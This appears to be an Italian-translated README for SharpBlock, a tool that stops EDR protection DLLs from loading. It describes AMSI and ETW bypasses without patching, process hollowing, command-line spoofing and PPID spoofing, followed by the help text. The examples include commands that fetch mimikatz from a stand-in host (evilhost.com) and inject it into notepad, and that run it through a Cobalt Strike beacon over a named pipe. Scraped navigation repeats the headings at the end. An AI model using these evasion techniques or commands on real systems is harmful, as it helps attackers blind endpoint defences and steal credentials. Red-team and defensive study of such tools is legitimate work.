SharpBlock

Un metodo per bypassare le DLL di proiezione attiva degli EDR impedendo l'esecuzione del punto di ingresso.

Caratteristiche

Blocca l'esecuzione del punto di ingresso delle DLL EDR, impedendo il posizionamento degli hook EDR.
Bypass AMSI senza patch, non rilevabile dagli scanner che cercano patch di codice di Amsi.dll in esecuzione.
Processo host sostituito con un PE impiantato che può essere caricato da disco, HTTP o named pipe (Cobalt Strike)
Il processo impiantato è nascosto per aiutare a eludere gli scanner che cercano processi hollowed.
Gli argomenti della riga di comando vengono falsificati e impiantati dopo la creazione del processo utilizzando un metodo di rilevamento EDR furtivo.
Bypass ETW senza patch.
Blocca l'invocazione di NtProtectVirtualMemory quando il chiamante è all'interno dell'intervallo dello spazio di indirizzi di una DLL bloccata.

SharpBlock by @_EthicalChaos_
  DLL Blocking app for child processes x64

  -e, --exe=VALUE            Program to execute (default cmd.exe)
  -a, --args=VALUE           Arguments for program (default null)
  -n, --name=VALUE           Name of DLL to block
  -c, --copyright=VALUE      Copyright string to block
  -p, --product=VALUE        Product string to block
  -d, --description=VALUE    Description string to block
  -s, --spawn=VALUE          Host process to spawn for swapping with the target exe
  -ppid=VALUE                Parent process ID for spawned child (PPID Spoofing)
  -w, --show                 Show the lauched process window instead of the
                               default hide
      --disable-bypass-amsi  Disable AMSI bypassAmsi
      --disable-bypass-cmdline
                             Disable command line bypass
      --disable-bypass-etw   Disable ETW bypass
      --disable-header-patch Disable process hollow detection bypass
  -h, --help                 Display this help

Esempi

Avvia mimikatz via HTTP usando notepad come processo host, bloccando la DLL di SylantStrike

SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee

Avvia mimikatz usando Cobalt Strike beacon tramite named pipe usando notepad come processo host, bloccando la DLL di SylantStrike

execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi

Nota: per il comando beacon upload_file, carica upload.cna nel Gestore Script di Cobalt Strike

Post del blog di accompagnamento:

SharpBlock

Più Popolari

SharpBlock

Caratteristiche

Esempi

Avvia mimikatz via HTTP usando notepad come processo host, bloccando la DLL di SylantStrike

Avvia mimikatz usando Cobalt Strike beacon tramite named pipe usando notepad come processo host, bloccando la DLL di SylantStrike